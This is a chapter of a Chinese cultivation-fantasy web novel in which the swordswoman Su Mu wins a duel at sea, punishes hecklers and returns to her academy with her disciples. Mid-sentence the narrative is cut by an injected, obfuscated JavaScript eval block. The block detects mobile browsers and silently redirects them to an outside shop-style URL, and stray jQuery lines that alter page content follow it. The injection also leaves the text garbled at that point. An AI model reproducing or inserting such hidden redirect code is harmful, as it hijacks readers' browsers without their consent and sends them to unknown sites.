55. 第五十五章

作品:《小师姐提剑就上

    “血眼修罗再是厉害,不过金丹初期,怎能敌得过金丹后期。”


    一旁的人都不看好苏木,但圆桌上的少年与盲女却无半点忧色,反而是一脸自豪的模样。少年人抬起下巴,看向远处血雾中的青袍剑修,双目崇拜,朗声道:“那你们可瞧好了。”


    “你这小子,莫非认识血眼修罗。”一旁的人开始打量起少年与盲女。


    “我听闻血眼修罗来自书院,不知传闻是真是假?”海船上的水手凑到阿钰身侧,“小哥,你们可是来自白鹭书院?”


    另外一位水手反对道:“血眼修罗杀人如麻,怎会是白鹭书院的学子。”


    听到这话,阿啾皱起眉头,起身朝着出声之道:“你倒是说说,苏夫子何时杀人如麻?说不出个所以然,你需得同苏夫子道歉。”她伸手拿起拐杖,步步靠近说话的水手。


    水手也是个修士,见阿啾身上无半分修士的气息,出声嗤笑:“你一个小丫头片子,懂什么?”


    慕君以为阿钰会出手教训水手,不曾想他坐在凳子上,一动不动,双目望向海上打斗的身影。


    “说不出来,那就道歉。”


    水手看着面前屁点大的盲眼女童,不免觉得好笑,转头继续与同伴说:“怕是个傻子。”他的同伴不敢苟同,一步拉开与他的距离,同伴眼中的难言之色让他回头。


    一道剑气从阿啾手中而出,剑尖直指水手:“道歉。”


    水手本想一手打掉阿啾手中剑,阿啾身形一转,剑锋停留在水手脖颈处。眼前的女童分明只是个凡人,尚未引气入体,身法竟然赶得上炼气修士,一滴硕大的汗珠自水手额头滑落。


    阿啾生起气来,面若寒霜:“道歉。”


    水手朝远处大声喊道:“苏夫子,对不起,是我胡说的。”对阵中的苏木一愣,那人在喊什么?一分神,对方的剑气斩落她眉前一缕青丝。苏木闪身,再度拉开距离,方才若是迟上半分,她的双眼就该瞎了。


    “可是看你那徒儿?”来人笑道,“若你死了,她自会拜我为徒。”


    “白日做梦。”苏木想尽快解决战斗,身上的气息开始暴涨,先松涛城与金丹魔种一战,后剑塔中走上两层楼,她的实力增长不少。金丹初期分为九层,她从金丹初期三层暴涨至八层。


    落在对面金丹剑修的眼里,苏木是在垂死挣扎。但苏木使出的一记血莲漫天金丹修士心惊,这丫头哪来的恐怖杀意?她身上的冲天煞气让人毛骨悚然。


    “你叫什么名字?师从何人?”


    “卖给你消息之人,与你有仇么?”苏木鬼魅一笑,在血雾中时隐时现,“在下白鹿书院弟子苏木,师从秋霞剑仙。”金丹修士再度听清时,执剑之手被苏木砍伤,剑从手中脱落,还未来得及反应,苏木长剑一横,抵在金丹剑修脖颈之上。


    慕君不由好笑,这师徒两人的动作,真是如出一辙。手指一弹,金丹剑修被一股更为磅礴的气息打入海里,苏木转头看向海船,一身青袍施施然回到船上。


    “这是怎么了?”


    苏木一回来就看见阿钰与阿啾持剑与一群人对峙。


    “苏夫子,他们胡说。”


    方才,水手同道完歉后,一旁观战的众人八卦的声音越来越大,有人说:“这血眼修罗是不是假冒书院弟子,在外招摇撞骗?”


    “姓苏,她不会假扮秋霞剑仙之徒苏木吧。”


    “你们两个小娃娃莫被她骗了。”还有人开始劝诫阿钰与阿啾,“有时候,修行不一定非要拜个大能,如若拜了个邪修,落得个人人喊打喊杀的下场,那就不美了。”


    先说小师叔自己假扮自己,又将小师叔看做邪修,阿钰笑出了声,让原本要拔剑的阿啾一愣,阿钰仰天大笑不止,这番情形倒让众人摸不着头脑。


    “你这是何意?”


    “我小师叔十岁筑基,十八金丹,一身修为总做不得假,你们爱信不信。”众人的质疑声还未停止,阿钰拉住阿啾的胳膊,“有的人生来就不能听懂人言,阿啾不必与聋子计较。”


    “小子,你不过炼气,说话莫要太狂妄。”好战之人走上前来,亮出武器。


    “阿啾,拔剑。”阿钰起身,拿出小木剑。


    慕君眼中,阿钰与阿啾并肩而立,清风拂过两人头顶的发带,一白一黑在空中飞扬,两人持剑的动作一模一样。少年意气,当是如此。


    “谁敢伤我的徒弟与师侄?”苏木一到甲板上,冲天而来的杀气织成一张巨网将几人裹成茧,网线不断缠紧,几人发出高低不一的惨叫声。


    “小师叔,喝茶。”阿钰狗腿地将茶杯递上,阿啾坐在苏木身侧替她敲腿捶背,“苏夫子,累不累啊。”


    三人其乐融融,倒在递上的几人可就没那么好过,有人开始求饶:“苏道友大人有大量,放过我吧。”


    阿钰作怪,手掌张开,放在耳后:“阿啾,你有听见什么声音吗?”


    “未曾。”阿啾嘴角勾起,苏木瞧见她手中敲打的动作变得更快了,这丫头跟着阿钰一起学坏了。


    一旁的书生站了出来,指责苏木道:“残暴不仁,哪里有半分书院弟子的模样。”


    “那你救救他们。”


    “你。”书生一噎。


    “道德绑架,与我无用。”苏木手指一抬,被捆住的几人松了口气,但仍未挣开巨网,“说吧,谁派你们来绑人的。”


    “苏道友,我们也是拿钱办事。”


    “我记得,上个拿钱办事的人被我留下了手臂。”苏木翻指一转,几人又被巨网束紧,发不出半点声音,“不想说,那就下去吧。”指尖一弹,几人被一股巨力扔下了船。


    慕君问道:“不追问吗?”


    “没什么好问的。”苏木摸了摸阿啾的头,“阿啾,日后若有人用大义压你,你当如何?”


    阿啾只答两个字:“拔剑。”青袍道人搂着她直乐,笑个不停。


    海船一路行到西洲,慈航宫刘堂主


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659657|137692||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲自相迎,船上的人这次信了个十成十。因刘堂主开口就道:“苏院长,别来无恙。书院夫子们都十分想念你,催你快些回家去。”


    众人听得清楚,青袍道人是白鹭书院景院长爱女、秋霞剑仙之徒,更是在外代理院长。


    “西洲之难,多谢苏院长出手相助。”刘堂主与苏木寒暄着,一个小鬼从人群中挤了出来,“小木头姐姐。”


    后衣领子被人一提,阿钰看着手中的小鬼:“你是薛礼吧。”小鬼被一双手接过。


    “礼儿,去蓬莱见过刘夫人了?”


    薛礼一手环住苏木的脖子,一手数着数:“我见着娘亲了,吃了小翠姐姐做的饭,还见到了景院长,大长老、二长老、三长老…好多夫子。他们送了我好些书,师父给我做的书柜都放不下。”掂了掂重量,苏木伸手掐了把小鬼的脸,“吃胖了。”


    “小木头姐姐,你不懂。师父说过,胖点好。”薛礼一副你没见识的模样,让众人乐得直拍大腿。


    虽然阿啾眼睛看不到,但满场喜悦让她跟着发笑。“这位姐姐是小木头姐姐新收的弟子吗?”


    薛礼循着笑声望去,苏木点头,薛礼便要下去,直奔阿啾所在的位置。他抓起阿啾的手,摸向自己肉嘟嘟的脸颊:“阿啾姐姐,我长得可爱吧。”


    柔软的触感让阿啾一愣,难怪苏夫子言语中偏爱他,他明知自己无法视物,故而牵起自己手去触碰他的脸,阿啾轻轻摸着薛礼的脸道:“可爱。”


    一只大手将阿啾的手掰开,上手揪了一把小胖子的脸颊,朗声笑道:“跟年画上的童子一样。”


    “阿钰哥哥,盛哥哥可说了,他在白鹭书院等着你。”薛礼往后一缩,揉着自己被揪红的脸,小跑到苏木身边,冲阿钰做了个鬼脸。阿钰摇了摇头,垂眸看向满眼笑意的阿啾。


    慕君走出了人群,与苏木遥遥相望,转身没入小巷中。苏木目送他离开,一直从未露面的元婴也一道没了踪影。


    少了个人,阿钰问道:“大师伯呢?”他转身找了好一会儿,回到苏木身边,“小师叔,大师伯不见了。”


    与慈航宫众人别过后,苏木带着两个孩子迈入传送阵:“他走了,叮嘱你勤加修炼。”三人的身影在阵法亮光中消失。


    抬脚走出传送阵,一个白衣少年郎冲上来抱住苏木。


    “小师姐,你终于回来了。”少年的声音中带着七分欣喜,与三分不可置信。


    “你怎知我回来了。”苏木轻拍少年的肩膀,示意他松开,但盛泽稷却不撒手,“慈航宫来信,礼儿告诉我的。”


    阿啾皱着眉,盛师叔好生没皮没脸,扒着苏夫子不放。


    “盛师叔,好久不见。”阿钰一手握住盛泽稷环在小师叔身后的手,往前一带,盛泽稷被迫从苏木身上下来。


    “阿钰师侄。”盛泽稷将‘师侄’二字咬得极重,“与我比试一二,如何?”


    阿钰爽朗一笑:“盛师叔想比试什么?剑法吗?”